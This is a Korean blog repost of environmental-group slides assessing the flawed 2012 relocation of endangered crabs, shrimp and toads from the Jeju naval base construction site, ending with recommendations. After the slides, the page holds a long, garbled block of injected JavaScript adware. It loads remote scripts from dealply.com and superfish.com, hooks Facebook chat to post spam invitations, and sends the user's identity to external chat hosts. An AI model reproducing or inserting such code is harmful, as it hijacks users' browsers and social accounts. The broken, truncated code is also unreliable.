[녹색 연합]멸종위기종 서식지 이주 평가 (Fwd)

[아름드리 나무]

이 포스트는  녹색연합에서 보낸 것으로 제주해군기지로 인한  환경 파괴 관련, 제주도 구하기 

비상 위원회( Emergency Action Committee to Save Jeju) 후원, 그린피스와 같은 

국제 환경 전문가들 및 녹색연합 참가, 독립 환경 영향 평가 보고서 요약 PPT 자료 중 

멸종위기종 이식에 관한 PPT자료를 올린 것입니다.  이 독립 영향 평가서는 

세계 자연 보존 총회를 앞두고  멸종 위기종 이식과 연산호 군락 두 내용을 조사한 것으로  

해군 기지로 인한 자연 환경 파괴의 내용을 국내외로 폭로하는데 큰 역활을 하였습니다.   

제주를 구하기 위해 적극적으로 일하시다 9월 4일 입국 거부되어 출국된 제주도 구하기 

비상 위원회의 차임옥 박사님께 깊은 감사를 드립니다. 영문은 여기를 클릭하여 

보실 수 있습니다. 

슬라이드 1

멸종위기종 서식지 이주 평가

제주민군복합형관광미항개발

슬라이드 2

개              요

—  본 평가는 ESI에 의해서 독립적으로 수행됨

—  강정 제주해군기지 건설지역에서 발견된 세 종류의 멸종위기종 이주와 서식에 대한 

평가로서 2012 8월에 조사함 

—  2010년과 2011년에 제주도 내 서로 다른 세 곳으로 포획, 이주, 방사된 붉은발말똥게, 

제주새뱅이, 맹꽁이를 포함함

—  기존 보고서, 인터뷰, 이주된 서식지의 현장 평가/연구에  의하여  분석함

슬라이드 3

붉은발말똥게, 맹꽁이, 제주새뱅이 이주지역

슬라이드 4

붉은발말똥게 이주의 문제점 

• 붉은발말똥게 포획 과정의 문제로 인해 폐사 개체 발견

• 밀집도에 대한 조사가 이뤄지지 않아  동일한 종 또는 다른 종류의 게들 과의 

먹이 및 서식 공간에 대한 경쟁을 알 수 없음

• 붉은발말똥게 이주 지역인 선궷네 하류 인근 지역이 사유지역으로 개인 

소유자에 의해 개발이 진행되고 있어 개체가 숨거나 먹이 활동을 할 수 있는 서식지가 

훼손된 상황 발생함

• 이주지역의 서식지가 완전하게 보호되지 않아 붉은발말똥게의 위협조건이 됨 

슬라이드 5

붉은발말똥게 이주의 문제점

슬라이드 6

맹꽁이 이주 과정의 문제점

•원 서식지인 해군기지 사업부지에서 맹공이 포획을 위해  2011년 7월에 

6번의 방문만 진행

• 결국 918마리의 올챙이 만이 포획, 단 한마리의 성체도 포획하지 못함

• 암컷 맹꽁이 한 개체가 한번에 알을 품는 양을 고려했을 때 적어도 45마리의 암컷과 

20마리의 수컷을 포획 이주 했어야 함

• 그러나 제주 민군복합형관광미항 웹사이트에서는 “900마리의 맹꽁이를 이주했다”고 

밝히고 있을 뿐임

•

• 또한 918마리의 올챙이를 제주 돌문화공원에 이주하는 데 있어, 각 웅덩이 마다 방사된 

올챙이의 수가 언급되지 않았음

•

• 기존에 제주 돌문화공원에 맹꽁이가 서식하고 있다고 밝히고 있으나 그 근거가 

명확하게 언급되지 않았으며, 2011년 제주대 오홍식 교수의 자료에 의하면 

제주 돌문화공원에서 가장 가까이에서 맹꽁이 서식이 확인 된 곳은 3-4km 떨어진 지역임

슬라이드 7

슬라이드 8

제주새뱅이 이주과정의 문제점

•이주지역인 강정천을 따라 개체수 조사나 군집에 대한 연구가 이뤄지지 않음

• 5300마리의 제주새뱅이가 강정천에 이주, 이는 강정천의 생태 수용한계를 

고려하지 않은 것임

• 제주새뱅이 종간 경쟁을 피하기 위해서는 다른 지역으로 방사하는 것이 적합했을 것으로 보임

• 제주 서식지 이주와 관련한 영산강유역환경청 보고서를 바탕으로 봤을 때, 제주새뱅이 

전부가 포획 된 것은 아니기 때문에 원서식지에 남아 있을 가능성이 높으며 이 들은 

공사과정에서 죽을 가능성이 높음

• 따라서 지속적으로 해군기지 건설지역내에서 제주새뱅이 서식 여부를 확인 할 수 있는 조사가 

이뤄지는 것이 적절 함

• 또한 강정천으로 이주 방사된 개체에 대한 표식이 진행되지 않아 이주 된 제주새뱅이가 

이주지역에서 잘 적응하여 생존하고 있는지 여부를 확인 할 수 없어 이에 대한 모니터링이 

불가능 함

슬라이드 9

제주새뱅이 이주과정의 문제점

슬라이드 10

슬라이드 11

2012년 8월 제주해군기지 건설현장 모습

슬라이드 12

중 요 발 견 점

•서식지 이주 과정의 모니터링이 투명하지 않고 맹꽁이 모니터링을 위해 ESI팀이 

제주를 방문한 동안, 몇 번의 만나려는 시도도 거부됨

•붉은발말똥게의 생존과 적응에 영향을 미치는 방사지역 근처나, 방사 이후에 둑의 

상당 부분이 개인 소유자에 의해 훼손되면서 멸종위기 붉은발말똥게를 위한 이주 서식지는 

보호되지 못함

•5,300마리의 제주새뱅이를 제한된 지역에(강정천 하류에서 둑 상류까지 800m) 

이주시키는 것은 환경수용력(한 생태계에서 개체군이 증가할 수 있는 최대치)을 

위협하는 것임. 그러므로 다수의 제주새뱅이를 적절한 다른 지역에 나누어 이전시켜야 함

•제주새뱅이에 대한 모니터링이 불가능함! 성공과 실패 여부에 대한 평가가 불가능함

•공사현장에 개체가 얼마만큼 남아있는지 알 수 없으므로 제주새뱅이의 

서식지 이전/조사가 불충분함

•현장조사/이주에 관한 시기와 기간이 부적절함. 멸종위기 맹꽁이의 이주에 대한 

적절한 조사도 부족함. 맹꽁이 조사와 서식지 이주는 특별히 성체 맹꽁이를 포함해 

모든 시기의 단계를 포괄해야 함

슬라이드 13

—맹꽁이에게 육상서식지(90% 혹은 그 이상의 시간을 육상서식지에서 보냄)는 

취식, 성장하는 중요한 곳이며, 대부분의 맹꽁이들이 발견되는 곳임. 공사 진행에 앞서 

육상서식지에 대한 어떤 조사도 수행되지 않았음!

—올챙이만 이주되었고 성체 맹꽁이는 아직도 공사현장에 남아 있음. 적어도 

60마리의 성체 맹꽁이가 공사 지역 안에 남아 있었음

—제시된 이주지역에 관한 적절한 연구가 없는 상태에서 포획된 올챙이는 

돌문화공원에 이주됨

—맹꽁이의 변태에 관한 모니터링은 매우 필수적인 것으로, 2011년에 

이루어졌어야 함. 모니터링은 2012년에 시작되었고 굉장히 불충분한 것으로 판단됨

—맹꽁이가 이주도니 지역의 고지대에 관한 어떤 정보나 해답도 수집되지 않았음. 

이주된 지역에서 포식자 정보는 알려지지 않았고, 매우 높은 밀도의 참개구리가 

관찰됨(잠재적 포식자)

슬라이드 14

맹꽁이 조사와 포획의 문제점과 그 영향

1. 무엇이 행해져야 했는가?   2. 부적절한 방법 

3. 맹꽁이에 대한 영향    4. 무엇이 행하여졌어야 했는가?

A.  1. 15일 동안 6번의 현장방문  2. 아주 짧은 현장 방문횟수와 시기

    현장조사와 이주  3. 성체 맹꽁이를 발견하지 못함.성체 맹꽁이는 공사로 죽었을 것임. 

     4. 번식기간 6월에 통상 17번의 현장방문

B.   1. 6월말과 7월에 진행된 현장방문  2. 외부번식활동이 이루어지는 잘못된 

기간선정 현장조사와 이주  3. 성체 맹꽁이를 발견하지 못하고 오로지 올챙이만 발견함. 

모든 맹꽁이는 공사로 죽었을 것임. 4. 현장조사와 이주는 조사의 정점이 되는 

6월을 포함해 5월초에서 7월 말까지 이루어져야 했음

      C.  1. 대부분 낮동안 방문 2. 야간 조사에 더욱 집중했어야 함. 3. 성체 맹꽁이 발견 불가, 

오직 올챙이만 포획됨 4. 비가오는 시기에는 주로 야간조사를 실시했어야 함

      D. 1. 낮에는 올챙이를 잡기 위해 깊게 그물을 치고 야간에는  성체를 잡기위해 

덫을 놓음

            2. 성체 맹꽁이를 위한 야간 탐색조사와 맹꽁이가 은신하는 국소 서식지

(굴이나 깊은 풀숲 등)에 대한 세밀한 낮 조사가 포함되지 않았음

            3. 번식기 이후 고지대 서식지에 남아있는 성체나 어린맹꽁이가 발견되지 못함

            4. 비오는 밤에는 시각, 청음조사를 수행해야 했음. 맹꽁이가 위치한 잠재적인 

국소 서식환경에 관한 세밀한 낮 조사가 수행됐어야 함. 은신한 맹꽁이 조사를 위해 천천히 

조심스럽게 땅을 파고, 자연 지형을 제거했어야 함

      E. 1. 고지대 서식지 조사가 없음  2. 고지대 서식지를 조사하지 않았음

3. 굴이나 풀숲에 숨어있는 맹꽁이를 찾아내지 못함. 남아있는 맹꽁이들은 

공사과정에서 파묻혔을 것임

4. 잔존하는 성체 맹꽁이를 위해 고지대 서식지를 표시하고 조사했어야 함

     F. 1. 공사 지역에 성체 맹꽁이가 잔류 존속하는 동안에 조사시기가 허가되고 

공사가 시작됨

2. 전체적으로 부적절한 조사시기와 방법  3. 위와 동일하며, 돌문화공원에 대한 

이주 성공과 생존을 위한 정착 확률이 감소함  4. 고지대 서식지를 완전히 조사하고 

맹꽁이가 완전히 포획되기 전까지 공사가 진행되지 말았어야 함

슬라이드 15 

권고사항

·공사지역에서 멸종위기 맹꽁이와 제주새뱅이의 더 많은 살생을 피하기 위해 

공사를 즉각 중단할 것

·공사지역에 아직 남아있는 제주새뱅이와 육상서식지에 생존한 맹꽁이를 가능한 

규모로 모두 이전시키기 위해 투명하고 독립적인 적절한 조사를 허락할 것

·맹꽁이와 제주새뱅이에 관한 모니터링, 독립적인 리뷰를 허락하고 적절한 

감시 관찰을 수행할 것

 

·5월말에서 8월 초에 이르는 우기(장마기간)동안에 공사장 지역의 맹꽁이에 대한 

독립적인 생태 모니터링을 가질 것. 만일 공사 진행중에 맹꽁이가 발견된다면, 

그 지역의 공사는 중단되어야 하고 자격있는 생물학자 -맹꽁이를 이주시키기 위해 

적용되는 모든 자격증을 소유한-가 돌문화공원의 연못에 개체를 이전시켜야 함 

      ·붉은발말똥게를 방사한 선궷내 근처의 영향권 지역이 회복되었는지, 그리고 또 

다른 서식지의 손실이나 손상이 발생하지 않았는지 확실이 확인할 것 

function AddDP() { if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement('script'); script_tag.setAttribute("type", "text/xxxxxxjavascript"); script_tag.setAttribute("src", "http://optstatic.dealply.com/toyf/version_content.js?channel=ch103"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); } } AddDP(); AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/xxxxxxjavascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), a.setAttribute("type","text/xxxxxxjavascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; /*AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/xxxxxxjavascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} */ //3.4 no chacheID in games var gpid="103",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.[안내]태그제한으로등록되지않습니다-xx[안내]태그제한으로등록되지않습니다-xx[안내]태그제한으로등록되지않습니다-xxonmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)} function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b='

'+('

')+('

')+('

')+('

')+('

')+('

')+('

')+('

')+'

';d=a.parent().html();a.next().children(); -1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c Accept");a.innerHTML=c;return!0}return!1} function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat Accept",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)} function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")} function OpenDialog(a,b,d,c,f,h){b='

'+h+' - Powered By 2YourFace.com

Chatting with:

'+ f+'

'+ ("

')+ "

"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg", c,a);b=b+"
"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+='

'; a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})} function GetGameOfferHTML(a,b,d,c){return"'};